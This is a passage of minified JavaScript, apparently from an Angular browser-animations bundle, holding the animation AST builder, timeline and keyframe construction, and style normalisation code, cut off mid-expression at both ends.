w(Te,y,D,Z){switch(y){case"start":Te.onStart(()=>Z(D&&R(D,"start",Te)));break;case"done":Te.onDone(()=>Z(D&&R(D,"done",Te)));break;case"destroy":Te.onDestroy(()=>Z(D&&R(D,"destroy",Te)))}}function R(Te,y,D){const rt=X(Te.element,Te.triggerName,Te.fromState,Te.toState,y||Te.phaseName,D.totalTime??Te.totalTime,!!D.disabled),yt=Te._data;return null!=yt&&(rt._data=yt),rt}function X(Te,y,D,Z,Le="",rt=0,yt){return{element:Te,triggerName:y,fromState:D,toState:Z,phaseName:Le,totalTime:rt,disabled:!!yt}}function _e(Te,y,D){let Z=Te.get(y);return Z||Te.set(y,Z=D),Z}function ct(Te){const y=Te.indexOf(":");return[Te.substring(1,y),Te.slice(y+1)]}let Je=(Te,y)=>!1,Et=(Te,y,D)=>[],Dt=null;function Pt(Te){const y=Te.parentNode||Te.host;return y===Dt?null:y}(Be()||typeof Element<"u")&&(xt()?(Dt=(()=>document.documentElement)(),Je=(Te,y)=>{for(;y;){if(y===Te)return!0;y=Pt(y)}return!1}):Je=(Te,y)=>Te.contains(y),Et=(Te,y,D)=>{if(D)return Array.from(Te.querySelectorAll(y));const Z=Te.querySelector(y);return Z?[Z]:[]});let x=null,m=!1;const Xe=Je,it=Et;let Vt=(()=>{class Te{validateStyleProperty(D){return function b(Te){x||(x=function ie(){return typeof document<"u"?document.body:null}()||{},m=!!x.style&&"WebkitAppearance"in x.style);let y=!0;return x.style&&!function te(Te){return"ebkit"==Te.substring(1,6)}(Te)&&(y=Te in x.style,!y&&m&&(y="Webkit"+Te.charAt(0).toUpperCase()+Te.slice(1)in x.style)),y}(D)}matchesElement(D,Z){return!1}containsElement(D,Z){return Xe(D,Z)}getParentElement(D){return Pt(D)}query(D,Z,Le){return it(D,Z,Le)}computeStyle(D,Z,Le){return Le||""}animate(D,Z,Le,rt,yt,Mt=[],Ft){return new s.ZN(Le,rt)}}return Te.\\u0275fac=function(D){return new(D||Te)},Te.\\u0275prov=n.Yz7({token:Te,factory:Te.\\u0275fac}),Te})(),Gt=(()=>{class Te{}return Te.NOOP=new Vt,Te})();const qt=1e3,It="ng-enter",_t="ng-leave",kt="ng-trigger",Fe=".ng-trigger",be="ng-animating",Pe=".ng-animating";function Re(Te){if("number"==typeof Te)return Te;const y=Te.match(/^(-?[\\.\\d]+)(m?s)/);return!y||y.length<2?0:Ue(parseFloat(y[1]),y[2])}function Ue(Te,y){return"s"===y?Te*qt:Te}function xe(Te,y,D){return Te.hasOwnProperty("duration")?Te:function J(Te,y,D){let Le,rt=0,yt="";if("string"==typeof Te){const Mt=Te.match(/^(-?[\\.\\d]+)(m?s)(?:\\s+(-?[\\.\\d]+)(m?s))?(?:\\s+([-a-z]+(?:\\(.+?\\))?))?$/i);if(null===Mt)return y.push(c()),{duration:0,delay:0,easing:""};Le=Ue(parseFloat(Mt[1]),Mt[2]);const Ft=Mt[3];null!=Ft&&(rt=Ue(parseFloat(Ft),Mt[4]));const Ut=Mt[5];Ut&&(yt=Ut)}else Le=Te;if(!D){let Mt=!1,Ft=y.length;Le<0&&(y.push(function f(){return new n.vHH(3100,!1)}()),Mt=!0),rt<0&&(y.push(function E(){return new n.vHH(3101,!1)}()),Mt=!0),Mt&&y.splice(Ft,0,c())}return{duration:Le,delay:rt,easing:yt}}(Te,y,D)}function Ae(Te,y={}){return Object.keys(Te).forEach(D=>{y[D]=Te[D]}),y}function mt(Te){const y=new Map;return Object.keys(Te).forEach(D=>{y.set(D,Te[D])}),y}function pt(Te,y=new Map,D){if(D)for(let[Z,Le]of D)y.set(Z,Le);for(let[Z,Le]of Te)y.set(Z,Le);return y}function nt(Te,y,D){return D?y+":"+D+";":""}function fe(Te){let y="";for(let D=0;D<Te.style.length;D++){const Z=Te.style.item(D);y+=nt(0,Z,Te.style.getPropertyValue(Z))}for(const D in Te.style)Te.style.hasOwnProperty(D)&&!D.startsWith("_")&&(y+=nt(0,G1(D),Te.style[D]));Te.setAttribute("style",y)}function Ee(Te,y,D){Te.style&&(y.forEach((Z,Le)=>{const rt=_1(Le);D&&!D.has(Le)&&D.set(Le,Te.style[rt]),Te.style[rt]=Z}),Be()&&fe(Te))}function at(Te,y){Te.style&&(y.forEach((D,Z)=>{const Le=_1(Z);Te.style[Le]=""}),Be()&&fe(Te))}function Se(Te){return Array.isArray(Te)?1==Te.length?Te[0]:(0,s.vP)(Te):Te}const Ne=new RegExp("{{\\\\s*(.+?)\\\\s*}}","g");function ut(Te){let y=[];if("string"==typeof Te){let D;for(;D=Ne.exec(Te);)y.push(D[1]);Ne.lastIndex=0}return y}function Rt(Te,y,D){const Z=Te.toString(),Le=Z.replace(Ne,(rt,yt)=>{let Mt=y[yt];return null==Mt&&(D.push(function S(Te){return new n.vHH(3003,!1)}()),Mt=""),Mt.toString()});return Le==Z?Te:Le}function Zt(Te){const y=[];let D=Te.next();for(;!D.done;)y.push(D.value),D=Te.next();return y}const a1=/-+([a-z0-9])/g;function _1(Te){return Te.replace(a1,(...y)=>y[1].toUpperCase())}function G1(Te){return Te.replace(/([a-z])([A-Z])/g,"$1-$2").toLowerCase()}function P1(Te,y,D){switch(y.type){case 7:return Te.visitTrigger(y,D);case 0:return Te.visitState(y,D);case 1:return Te.visitTransition(y,D);case 2:return Te.visitSequence(y,D);case 3:return Te.visitGroup(y,D);case 4:return Te.visitAnimate(y,D);case 5:return Te.visitKeyframes(y,D);case 6:return Te.visitStyle(y,D);case 8:return Te.visitReference(y,D);case 9:return Te.visitAnimateChild(y,D);case 10:return Te.visitAnimateRef(y,D);case 11:return Te.visitQuery(y,D);case 12:return Te.visitStagger(y,D);default:throw function g(Te){return new n.vHH(3004,!1)}()}}function on(Te,y){return window.getComputedStyle(Te)[y]}const ke="*";function lt(Te,y){const D=[];return"string"==typeof Te?Te.split(/\\s*,\\s*/).forEach(Z=>function Wt(Te,y,D){if(":"==Te[0]){const Ft=function p1(Te,y){switch(Te){case":enter":return"void => *";case":leave":return"* => void";case":increment":return(D,Z)=>parseFloat(Z)>parseFloat(D);case":decrement":return(D,Z)=>parseFloat(Z)<parseFloat(D);default:return y.push(function we(Te){return new n.vHH(3016,!1)}()),"* => *"}}(Te,D);if("function"==typeof Ft)return void y.push(Ft);Te=Ft}const Z=Te.match(/^(\\*|[-\\w]+)\\s*(<?[=-]>)\\s*(\\*|[-\\w]+)$/);if(null==Z||Z.length<4)return D.push(function q(Te){return new n.vHH(3015,!1)}()),y;const Le=Z[1],rt=Z[2],yt=Z[3];y.push(h1(Le,yt));"<"==rt[0]&&!(Le==ke&&yt==ke)&&y.push(h1(yt,Le))}(Z,D,y)):D.push(Te),D}const w1=new Set(["true","1"]),Qt=new Set(["false","0"]);function h1(Te,y){const D=w1.has(Te)||Qt.has(Te),Z=w1.has(y)||Qt.has(y);return(Le,rt)=>{let yt=Te==ke||Te==Le,Mt=y==ke||y==rt;return!yt&&D&&"boolean"==typeof Le&&(yt=Le?w1.has(Te):Qt.has(Te)),!Mt&&Z&&"boolean"==typeof rt&&(Mt=rt?w1.has(y):Qt.has(y)),yt&&Mt}}const Y1=new RegExp("s*:selfs*,?","g");function T1(Te,y,D,Z){return new vn(Te).build(y,D,Z)}class vn{constructor(y){this._driver=y}build(y,D,Z){const Le=new Gn(D);return this._resetContextStyleTimingState(Le),P1(this,Se(y),Le)}_resetContextStyleTimingState(y){y.currentQuerySelector="",y.collectedStyles=new Map,y.collectedStyles.set("",new Map),y.currentTime=0}visitTrigger(y,D){let Z=D.queryCount=0,Le=D.depCount=0;const rt=[],yt=[];return"@"==y.name.charAt(0)&&D.errors.push(function z(){return new n.vHH(3006,!1)}()),y.definitions.forEach(Mt=>{if(this._resetContextStyleTimingState(D),0==Mt.type){const Ft=Mt,Ut=Ft.name;Ut.toString().split(/\\s*,\\s*/).forEach(o1=>{Ft.name=o1,rt.push(this.visitState(Ft,D))}),Ft.name=Ut}else if(1==Mt.type){const Ft=this.visitTransition(Mt,D);Z+=Ft.queryCount,Le+=Ft.depCount,yt.push(Ft)}else D.errors.push(function H(){return new n.vHH(3007,!1)}())}),{type:7,name:y.name,states:rt,transitions:yt,queryCount:Z,depCount:Le,options:null}}visitState(y,D){const Z=this.visitStyle(y.styles,D),Le=y.options&&y.options.params||null;if(Z.containsDynamicStyles){const rt=new Set,yt=Le||{};Z.styles.forEach(Mt=>{Mt instanceof Map&&Mt.forEach(Ft=>{ut(Ft).forEach(Ut=>{yt.hasOwnProperty(Ut)||rt.add(Ut)})})}),rt.size&&(Zt(rt.values()),D.errors.push(function j(Te,y){return new n.vHH(3008,!1)}()))}return{type:0,name:y.name,style:Z,options:Le?{params:Le}:null}}visitTransition(y,D){D.queryCount=0,D.depCount=0;const Z=P1(this,Se(y.animation),D);return{type:1,matchers:lt(y.expr,D.errors),animation:Z,queryCount:D.queryCount,depCount:D.depCount,options:fn(y.options)}}visitSequence(y,D){return{type:2,steps:y.steps.map(Z=>P1(this,Z,D)),options:fn(y.options)}}visitGroup(y,D){const Z=D.currentTime;let Le=0;const rt=y.steps.map(yt=>{D.currentTime=Z;const Mt=P1(this,yt,D);return Le=Math.max(Le,D.currentTime),Mt});return D.currentTime=Le,{type:3,steps:rt,options:fn(y.options)}}visitAnimate(y,D){const Z=function ci(Te,y){if(Te.hasOwnProperty("duration"))return Te;if("number"==typeof Te)return Rn(xe(Te,y).duration,0,"");const D=Te;if(D.split(/\\s+/).some(rt=>"{"==rt.charAt(0)&&"{"==rt.charAt(1))){const rt=Rn(0,0,"");return rt.dynamic=!0,rt.strValue=D,rt}const Le=xe(D,y);return Rn(Le.duration,Le.delay,Le.easing)}(y.timings,D.errors);D.currentAnimateTimings=Z;let Le,rt=y.styles?y.styles:(0,s.oB)({});if(5==rt.type)Le=this.visitKeyframes(rt,D);else{let yt=y.styles,Mt=!1;if(!yt){Mt=!0;const Ut={};Z.easing&&(Ut.easing=Z.easing),yt=(0,s.oB)(Ut)}D.currentTime+=Z.duration+Z.delay;const Ft=this.visitStyle(yt,D);Ft.isEmptyStep=Mt,Le=Ft}return D.currentAnimateTimings=null,{type:4,timings:Z,style:Le,options:null}}visitStyle(y,D){const Z=this._makeStyleAst(y,D);return this._validateStyleAst(Z,D),Z}_makeStyleAst(y,D){const Z=[],Le=Array.isArray(y.styles)?y.styles:[y.styles];for(let Mt of Le)"string"==typeof Mt?Mt===s.l3?Z.push(Mt):D.errors.push(new n.vHH(3002,!1)):Z.push(mt(Mt));let rt=!1,yt=null;return Z.forEach(Mt=>{if(Mt instanceof Map&&(Mt.has("easing")&&(yt=Mt.get("easing"),Mt.delete("easing")),!rt))for(let Ft of Mt.values())if(Ft.toString().indexOf("{{")>=0){rt=!0;break}}),{type:6,styles:Z,easing:yt,offset:y.offset,containsDynamicStyles:rt,options:null}}_validateStyleAst(y,D){const Z=D.currentAnimateTimings;let Le=D.currentTime,rt=D.currentTime;Z&&rt>0&&(rt-=Z.duration+Z.delay),y.styles.forEach(yt=>{"string"!=typeof yt&&yt.forEach((Mt,Ft)=>{const Ut=D.collectedStyles.get(D.currentQuerySelector),o1=Ut.get(Ft);let l1=!0;o1&&(rt!=Le&&rt>=o1.startTime&&Le<=o1.endTime&&(D.errors.push(function Q(Te,y,D,Z,Le){return new n.vHH(3010,!1)}()),l1=!1),rt=o1.startTime),l1&&Ut.set(Ft,{startTime:rt,endTime:Le}),D.options&&function ot(Te,y,D){const Z=y.params||{},Le=ut(Te);Le.length&&Le.forEach(rt=>{Z.hasOwnProperty(rt)||D.push(function _(Te){return new n.vHH(3001,!1)}())})}(Mt,D.options,D.errors)})})}visitKeyframes(y,D){const Z={type:5,styles:[],options:null};if(!D.currentAnimateTimings)return D.errors.push(function oe(){return new n.vHH(3011,!1)}()),Z;let rt=0;const yt=[];let Mt=!1,Ft=!1,Ut=0;const o1=y.steps.map(tn=>{const Tn=this._makeStyleAst(tn,D);let En=null!=Tn.offset?Tn.offset:function D1(Te){if("string"==typeof Te)return null;let y=null;if(Array.isArray(Te))Te.forEach(D=>{if(D instanceof Map&&D.has("offset")){const Z=D;y=parseFloat(Z.get("offset")),Z.delete("offset")}});else if(Te instanceof Map&&Te.has("offset")){const D=Te;y=parseFloat(D.get("offset")),D.delete("offset")}return y}(Tn.styles),wn=0;return null!=En&&(rt++,wn=Tn.offset=En),Ft=Ft||wn<0||wn>1,Mt=Mt||wn<Ut,Ut=wn,yt.push(wn),Tn});Ft&&D.errors.push(function Ce(){return new n.vHH(3012,!1)}()),Mt&&D.errors.push(function k(){return new n.vHH(3200,!1)}());const l1=y.steps.length;let F1=0;rt>0&&rt<l1?D.errors.push(function K(){return new n.vHH(3202,!1)}()):0==rt&&(F1=1/(l1-1));const A1=l1-1,C1=D.currentTime,S1=D.currentAnimateTimings,Q1=S1.duration;return o1.forEach((tn,Tn)=>{const En=F1>0?Tn==A1?1:F1*Tn:yt[Tn],wn=En*Q1;D.currentTime=C1+S1.delay+wn,S1.duration=wn,this._validateStyleAst(tn,D),tn.offset=En,Z.styles.push(tn)}),Z}visitReference(y,D){return{type:8,animation:P1(this,Se(y.animation),D),options:fn(y.options)}}visitAnimateChild(y,D){return D.depCount++,{type:9,options:fn(y.options)}}visitAnimateRef(y,D){return{type:10,animation:this.visitReference(y.animation,D),options:fn(y.options)}}visitQuery(y,D){const Z=D.currentQuerySelector,Le=y.options||{};D.queryCount++,D.currentQuery=y;const[rt,yt]=function E1(Te){const y=!!Te.split(/\\s*,\\s*/).find(D=>":self"==D);return y&&(Te=Te.replace(Y1,"")),Te=Te.replace(/@\\*/g,Fe).replace(/@\\w+/g,D=>Fe+"-"+D.slice(1)).replace(/:animating/g,Pe),[Te,y]}(y.selector);D.currentQuerySelector=Z.length?Z+" "+rt:rt,_e(D.collectedStyles,D.currentQuerySelector,new Map);const Mt=P1(this,Se(y.animation),D);return D.currentQuery=null,D.currentQuerySelector=Z,{type:11,selector:rt,limit:Le.limit||0,optional:!!Le.optional,includeSelf:yt,animation:Mt,originalSelector:y.selector,options:fn(y.options)}}visitStagger(y,D){D.currentQuery||D.errors.push(function se(){return new n.vHH(3013,!1)}());const Z="full"===y.timings?{duration:0,delay:0,easing:"full"}:xe(y.timings,D.errors,!0);return{type:12,animation:P1(this,Se(y.animation),D),timings:Z,options:null}}}class Gn{constructor(y){this.errors=y,this.queryCount=0,this.depCount=0,this.currentTransition=null,this.currentQuery=null,this.currentQuerySelector=null,this.currentAnimateTimings=null,this.currentTime=0,this.collectedStyles=new Map,this.options=null,this.unsupportedCSSPropertiesFound=new Set}}function fn(Te){return Te?(Te=Ae(Te)).params&&(Te.params=function In(Te){return Te?Ae(Te):null}(Te.params)):Te={},Te}function Rn(Te,y,D){return{duration:Te,delay:y,easing:D}}function cn(Te,y,D,Z,Le,rt,yt=null,Mt=!1){return{type:1,element:Te,keyframes:y,preStyleProps:D,postStyleProps:Z,duration:Le,delay:rt,totalTime:Le+rt,easing:yt,subTimeline:Mt}}class X1{constructor(){this._map=new Map}get(y){return this._map.get(y)||[]}append(y,D){let Z=this._map.get(y);Z||this._map.set(y,Z=[]),Z.push(...D)}has(y){return this._map.has(y)}clear(){this._map.clear()}}const An=new RegExp(":enter","g"),li=new RegExp(":leave","g");function L1(Te,y,D,Z,Le,rt=new Map,yt=new Map,Mt,Ft,Ut=[]){return(new Cn).buildKeyframes(Te,y,D,Z,Le,rt,yt,Mt,Ft,Ut)}class Cn{buildKeyframes(y,D,Z,Le,rt,yt,Mt,Ft,Ut,o1=[]){Ut=Ut||new X1;const l1=new di(y,D,Ut,Le,rt,o1,[]);l1.options=Ft;const F1=Ft.delay?Re(Ft.delay):0;l1.currentTimeline.delayNextStep(F1),l1.currentTimeline.setStyles([yt],null,l1.errors,Ft),P1(this,Z,l1);const A1=l1.timelines.filter(C1=>C1.containsAnimation());if(A1.length&&Mt.size){let C1;for(let S1=A1.length-1;S1>=0;S1--){const Q1=A1[S1];if(Q1.element===D){C1=Q1;break}}C1&&!C1.allowOnlyTimelineStyles()&&C1.setStyles([Mt],null,l1.errors,Ft)}return A1.length?A1.map(C1=>C1.buildKeyframes()):[cn(D,[],[],[],0,F1,"",!1)]}visitTrigger(y,D){}visitState(y,D){}visitTransition(y,D){}visitAnimateChild(y,D){const Z=D.subInstructions.get(D.element);if(Z){const Le=D.createSubContext(y.options),rt=D.currentTimeline.currentTime,yt=this._visitSubInstructions(Z,Le,Le.options);rt!=yt&&D.transformIntoNewTimeline(yt)}D.previousNode=y}visitAnimateRef(y,D){const Z=D.createSubContext(y.options);Z.transformIntoNewTimeline(),this._applyAnimationRefDelays([y.options,y.animation.options],D,Z),this.visitReference(y.animation,Z),D.transformIntoNewTimeline(Z.currentTimeline.currentTime),D.previousNode=y}_applyAnimationRefDelays(y,D,Z){for(const Le of y){const rt=Le?.delay;if(rt){const yt="number"==typeof rt?rt:Re(Rt(rt,Le?.params??{},D.errors));Z.delayNextStep(yt)}}}_visitSubInstructions(y,D,Z){let rt=D.currentTimeline.currentTime;const yt=null!=Z.duration?Re(Z.duration):null,Mt=null!=Z.delay?Re(Z.delay):null;return 0!==yt&&y.forEach(Ft=>{const Ut=D.appendInstructionToTimeline(Ft,yt,Mt);rt=Math.max(rt,Ut.duration+Ut.delay)}),rt}visitReference(y,D){D.updateOptions(y.options,!0),P1(this,y.animation,D),D.previousNode=y}visitSequence(y,D){const Z=D.subContextCount;let Le=D;const rt=y.options;if(rt&&(rt.params||rt.delay)&&(Le=D.createSubContext(rt),Le.transformIntoNewTimeline(),null!=rt.delay)){6==Le.previousNode.type&&(Le.currentTimeline.snapshotCurrentStyles(),Le.previousNode=Mn);const yt=Re(rt.delay);Le.delayNextStep(yt)}y.steps.length&&(y.steps.forEach(yt=>P1(this,yt,Le)),Le.currentTimeline.applyStylesToKeyframe(),Le.subContextCount>Z&&Le.transformIntoNewTimeline()),D.previousNode=y}visitGroup(y,D){const Z=[];let Le=D.currentTimeline.currentTime;const rt=y.options&&y.options.delay?Re(y.options.delay):0;y.steps.forEach(yt=>{const Mt=D.createSubContext(y.options);rt&&Mt.delayNextStep(rt),P1(this,yt,Mt),Le=Math.max(Le,Mt.currentTimeline.currentTime),Z.push(Mt.currentTimeline)}),Z.forEach(yt=>D.currentTimeline.mergeTimelineCollectedStyles(yt)),D.transformIntoNewTimeline(Le),D.previousNode=y}_visitTiming(y,D){if(y.dynamic){const Z=y.strValue;return xe(D.params?Rt(Z,D.params,D.errors):Z,D.errors)}return{duration:y.duration,delay:y.delay,easing:y.easing}}visitAnimate(y,D){const Z=D.currentAnimateTimings=this._visitTiming(y.timings,D),Le=D.currentTimeline;Z.delay&&(D.incrementTime(Z.delay),Le.snapshotCurrentStyles());const rt=y.style;5==rt.type?this.visitKeyframes(rt,D):(D.incrementTime(Z.duration),this.visitStyle(rt,D),Le.applyStylesToKeyframe()),D.currentAnimateTimings=null,D.previousNode=y}visitStyle(y,D){const Z=D.currentTimeline,Le=D.currentAnimateTimings;!Le&&Z.hasCurrentStyleProperties()&&Z.forwardFrame();const rt=Le&&Le.easing||y.easing;y.isEmptyStep?Z.applyEmptyStep(rt):Z.setStyles(y.styles,rt,D.errors,D.options),D.previousNode=y}visitKeyframes(y,D){const Z=D.currentAnimateTimings,Le=D.currentTimeline.duration,rt=Z.duration,Mt=D.createSubContext().currentTimeline;Mt.easing=Z.easing,y.styles.forEach(Ft=>{Mt.forwardTime((Ft.offset||0)*rt),Mt.setStyles(Ft.styles,Ft.easing,D.errors,D.options),Mt.applyStylesToKeyframe()}),D.currentTimeline.mergeTimelineCollectedStyles(Mt),D.transformIntoNewTimeline(Le+rt),D.previousNode=y}visitQuery(y,D){const Z=D.currentTimeline.currentTime,Le=y.options||{},rt=Le.delay?Re(Le.delay):0;rt&&(6===D.previousNode.type||0==Z&&D.currentTimeline.hasCurrentStyleProperties())&&(D.currentTimeline.snapshotCurrentStyles(),D.previousNode=Mn);let yt=Z;const Mt=D.invokeQuery(y.selector,y.originalSelector,y.limit,y.includeSelf,!!Le.optional,D.errors);D.currentQueryTotal=Mt.length;let Ft=null;Mt.forEach((Ut,o1)=>{D.currentQueryIndex=o1;const l1=D.createSubContext(y.options,Ut);rt&&l1.delayNextStep(rt),Ut===D.element&&(Ft=l1.currentTimeline),P1(this,y.animation,l1),l1.currentTimeline.applyStylesToKeyframe(),yt=Math.max(yt,l1.currentTimeline.currentTime)}),D.currentQueryIndex=0,D.currentQueryTotal=0,D.transformIntoNewTimeline(yt),Ft&&(D.currentTimeline.mergeTimelineCollectedStyles(Ft),D.currentTimeline.snapshotCurrentStyles()),D.previousNode=y}visitStagger(y,D){const Z=D.parentContext,Le=D.currentTimeline,rt=y.timings,yt=Math.abs(rt.duration),Mt=yt*(D.currentQueryTotal-1);let Ft=yt*D.currentQueryIndex;switch(rt.duration<0?"reverse":rt.easing){case"reverse":Ft=Mt-Ft;break;case"full":Ft=Z.currentStaggerTime}const o1=D.currentTimeline;Ft&&o1.delayNextStep(Ft);const l1=o1.currentTime;P1(this,y.animation,D),D.previousNode=y,Z.currentStaggerTime=Le.currentTime-l1+(Le.startTime-Z.currentTimeline.startTime)}}const Mn={};class di{constructor(y,D,Z,Le,rt,yt,Mt,Ft){this._driver=y,this.element=D,this.subInstructions=Z,this._enterClassName=Le,this._leaveClassName=rt,this.errors=yt,this.timelines=Mt,this.parentContext=null,this.currentAnimateTimings=null,this.previousNode=Mn,this.subContextCount=0,this.options={},this.currentQueryIndex=0,this.currentQueryTotal=0,this.currentStaggerTime=0,this.currentTimeline=Ft||new ri(this._driver,D,0),Mt.push(this.currentTimeline)}get params(){return this.options.params}updateOptions(y,D){if(!y)return;const Z=y;let Le=this.options;null!=Z.duration&&(Le.duration=Re(Z.duration)),null!=Z.delay&&(Le.delay=Re(Z.delay));const rt=Z.params;if(rt){let yt=Le.params;yt||(yt=this.options.params={}),Object.keys(rt).forEach(Mt=>{(!D||!yt.hasOwnProperty(Mt))&&(yt[Mt]=Rt(rt[Mt],yt,this.errors))})}}_copyOptions(){const y={};if(this.options){const D=this.options.params;if(D){const Z=y.params={};Object.keys(D).forEach(Le=>{Z[Le]=D[Le]})}}return y}createSubContext(y=null,D,Z){const Le=D||this.element,rt=new di(this._driver,Le,this.subInstructions,this._enterClassName,this._leaveClassName,this.errors,this.timelines,this.currentTimeline.fork(Le,Z||0));return rt.previousNode=this.previousNode,rt.currentAnimateTimings=this.currentAnimateTimings,rt.options=this._copyOptions(),rt.updateOptions(y),rt.currentQueryIndex=this.currentQueryIndex,rt.currentQueryTotal=this.currentQueryTotal,rt.parentContext=this,this.subContextCount++,rt}transformIntoNewTimeline(y){return this.previousNode=Mn,this.currentTimeline=this.currentTimeline.fork(this.element,y),this.timelines.push(this.currentTimeline),this.currentTimeline}appendInstructionToTimeline(y,D,Z){const Le={duration:D??y.duration,delay:this.currentTimeline.currentTime+(Z??0)+y.delay,easing:""},rt=new _i(this._driver,y.element,y.keyframes,y.preStyleProps,y.postStyleProps,Le,y.stretchStartingKeyframe);return this.timelines.push(rt),Le}incrementTime(y){this.currentTimeline.forwardTime(this.currentTimeline.duration+y)}delayNextStep(y){y>0&&this.currentTimeline.delayNextStep(y)}invokeQuery(y,D,Z,Le,rt,yt){let Mt=[];if(Le&&Mt.push(this.element),y.length>0){y=(y=y.replace(An,"."+this._enterClassName)).replace(li,"."+this._leaveClassName);let Ut=this._driver.query(this.element,y,1!=Z);0!==Z&&(Ut=Z<0?Ut.slice(Ut.length+Z,Ut.length):Ut.slice(0,Z)),Mt.push(...Ut)}return!rt&&0==Mt.length&&yt.push(function ee(Te){return new n.vHH(3014,!1)}()),Mt}}class ri{constructor(y,D,Z,Le){this._driver=y,this.element=D,this.startTime=Z,this._elementTimelineStylesLookup=Le,this.duration=0,this.easing=null,this._previousKeyframe=new Map,this._currentKeyframe=new Map,this._keyframes=new Map,this._styleSummary=new Map,this._localTimelineStyles=new Map,this._pendingStyles=new Map,this._backFill=new Map,this._currentEmptyStepKeyframe=null,this._elementTimelineStylesLookup||(this._elementTimelineStylesLookup=new Map),this._globalTimelineStyles=this._elementTimelineStylesLookup.get(D),this._globalTimelineStyles||(this._globalTimelineStyles=this._localTimelineStyles,this._elementTimelineStylesLookup.set(D,this._localTimelineStyles)),this._loadKeyframe()}containsAnimation(){switch(this._keyframes.size){case 0:return!1;case 1:return this.hasCurrentStyleProperties();default:return!0}}hasCurrentStyleProperties(){return this._currentKeyframe.size>0}get currentTime(){return this.startTime+this.duration}delayNextStep(y){const D=1===this._keyframes.size&&this._pendingStyles.size;this.duration||D?(this.forwardTime(this.currentTime+y),D&&this.snapshotCurrentStyles()):this.startTime+=y}fork(y,D){return this.applyStylesToKeyframe(),new ri(this._driver,y,D||this.currentTime,this._elementTimelineStylesLookup)}_loadKeyframe(){this._currentKeyframe&&(this._previousKeyframe=this._currentKeyframe),this._currentKeyframe=this._keyframes.get(this.duration),this._currentKeyframe||(this._currentKeyframe=new Map,this._keyframes.set(this.duration,this._currentKeyframe))}forwardFrame(){this.duration+=1,this._loadKeyframe()}forwardTime(y){this.applyStylesToKeyframe(),this.duration=y,this._loadKeyframe()}_updateStyle(y,D){this._localTimelineStyles.set(y,D),this._globalTimelineStyles.set(y,D),this._styleSummary.set(y,{time:this.currentTime,value:D})}allowOnlyTimelineStyles(){return this._currentEmptyStepKeyframe!==this._currentKeyframe}applyEmptyStep(y){y&&this._previousKeyframe.set("easing",y);for(let[D,Z]of this._globalTimelineStyles)this._backFill.set(D,Z||s.l3),this._currentKeyframe.set(D,s.l3);this._currentEmptyStepKeyframe=this._currentKeyframe}setStyles(y,D,Z,Le){D&&this._previousKeyframe.set("easing",D);const rt=Le&&Le.params||{},yt=function ln(Te,y){const D=new Map;let Z;return Te.forEach(Le=>{if("*"===Le){Z=Z||y.keys();for(let rt of Z)D.set(rt,s.l3)}else pt(Le,D)}),D}(y,this._globalTimelineStyles);for(let[Mt,Ft]of yt){const Ut=Rt(Ft,rt,Z);this._pendingStyles.set(Mt,Ut),this._localTimelineStyles.has(Mt)||this._backFill.set(Mt,this._globalTimelineStyles.get(Mt)??s.l3),this._updateStyle(Mt,Ut)}}applyStylesToKeyframe(){0!=this._pendingStyles.size&&(this._pendingStyles.forEach((y,D)=>{this._currentKeyframe.set(D,y)}),this._pendingStyles.clear(),this._localTimelineStyles.forEach((y,D)=>{this._currentKeyframe.has(D)||this._currentKeyframe.set(D,y)}))}snapshotCurrentStyles(){for(let[y,D]of this._localTimelineStyles)this._pendingStyles.set(y,D),this._updateStyle(y,D)}getFinalKeyframe(){return this._keyframes.get(this.duration)}get properties(){const y=[];for(let D in this._currentKeyframe)y.push(D);return y}mergeTimelineCollectedStyles(y){y._styleSummary.forEach((D,Z)=>{const Le=this._styleSummary.get(Z);(!Le||D.time>Le.time)&&this._updateStyle(Z,D.value)})}buildKeyframes(){this.applyStylesToKeyframe();const y=new Set,D=new Set,Z=1===this._keyframes.size&&0===this.duration;let Le=[];this._keyframes.forEach((Mt,Ft)=>{const Ut=pt(Mt,new Map,this._backFill);Ut.forEach((o1,l1)=>{o1===s.k1?y.add(l1):o1===s.l3&&D.add(l1)}),Z||Ut.set("offset",Ft/this.duration),Le.push(Ut)});const rt=y.size?Zt(y.values()):[],yt=D.size?Zt(D.values()):[];if(Z){const Mt=Le[0],Ft=new Map(Mt);Mt.set("offset",0),Ft.set("offset",1),Le=[Mt,Ft]}return cn(this.element,Le,rt,yt,this.duration,this.startTime,this.easing,!1)}}class _i extends ri{constructor(y,D,Z,Le,rt,yt,Mt=!1){super(y,D,yt.delay),this.keyframes=Z,this.preStyleProps=Le,this.postStyleProps=rt,this._stretchStartingKeyframe=Mt,this.timings={duration:yt.duration,delay:yt.delay,easing:yt.easing}}containsAnimation(){return this.keyframes.length>1}buildKeyframes(){let y=this.keyframes,{delay:D,duration:Z,easing:Le}=this.timings;if(this._stretchStartingKeyframe&&D){const rt=[],yt=Z+D,Mt=D/yt,Ft=pt(y[0]);Ft.set("offset",0),rt.push(Ft);const Ut=pt(y[0]);Ut.set("offset",Nn(Mt)),rt.push(Ut);const o1=y.length-1;for(let l1=1;l1<=o1;l1++){let F1=pt(y[l1]);const A1=F1.get("offset");F1.set("offset",Nn((D+A1*Z)/yt)),rt.push(F1)}Z=yt,D=0,Le="",y=rt}return cn(this.element,y,this.preStyleProps,this.postStyleProps,Z,D,Le,!0)}}function Nn(Te,y=3){const D=Math.pow(10,y-1);return Math.round(Te*D)/D}class dn{}const Ei=new Set(["width","height","minWidth","minHeight","maxWidth","maxHeight","left","top","bottom","right","fontSize","outlineWidth","outlineOffset","paddingTop","paddingLeft","paddingBottom","paddingRight","marginTop","marginLeft","marginBottom","marginRight","borderRadius","borderWidth","borderTopWidth","borderLeftWidth","borderRightWidth","borderBottomWidth","textIndent","perspective"]);class Hn extends dn{normalizePropertyName(y,D){return _1(y)}normalizeStyleValue(y,D,Z,Le){let rt="";const yt=Z.toString().trim();if(Ei.has(D)&&0!==Z&&"0"!==Z)if("number"==typeof Z)rt="px";else{const Mt=Z.match(/^[+-]?[\\d\\.]+([a-z]*)$/);Mt&&0==Mt[1].length&&Le.push(function C(Te,y){return new n.vHH(3005,!1)}())}return yt+rt}}function ui(Te,y,D,Z,Le,rt,yt,Mt,Ft,Ut,o1,l1,F1){return{type:0,element:Te,triggerName:y,isRemovalTransition:Le,fromState:D,fromStyles:rt,toState:Z,toStyles:yt,timelines:Mt,queriedElements:Ft,preStyleProps:Ut,postStyleProps:o1,totalTime:l1,errors:F1}}const pn={};class Fi{constructor(y,D,Z){this._triggerName=y,this.ast=D,this._stateStyles=Z}match(y,D,Z,Le){return function zi(Te,y,D,Z,Le){return 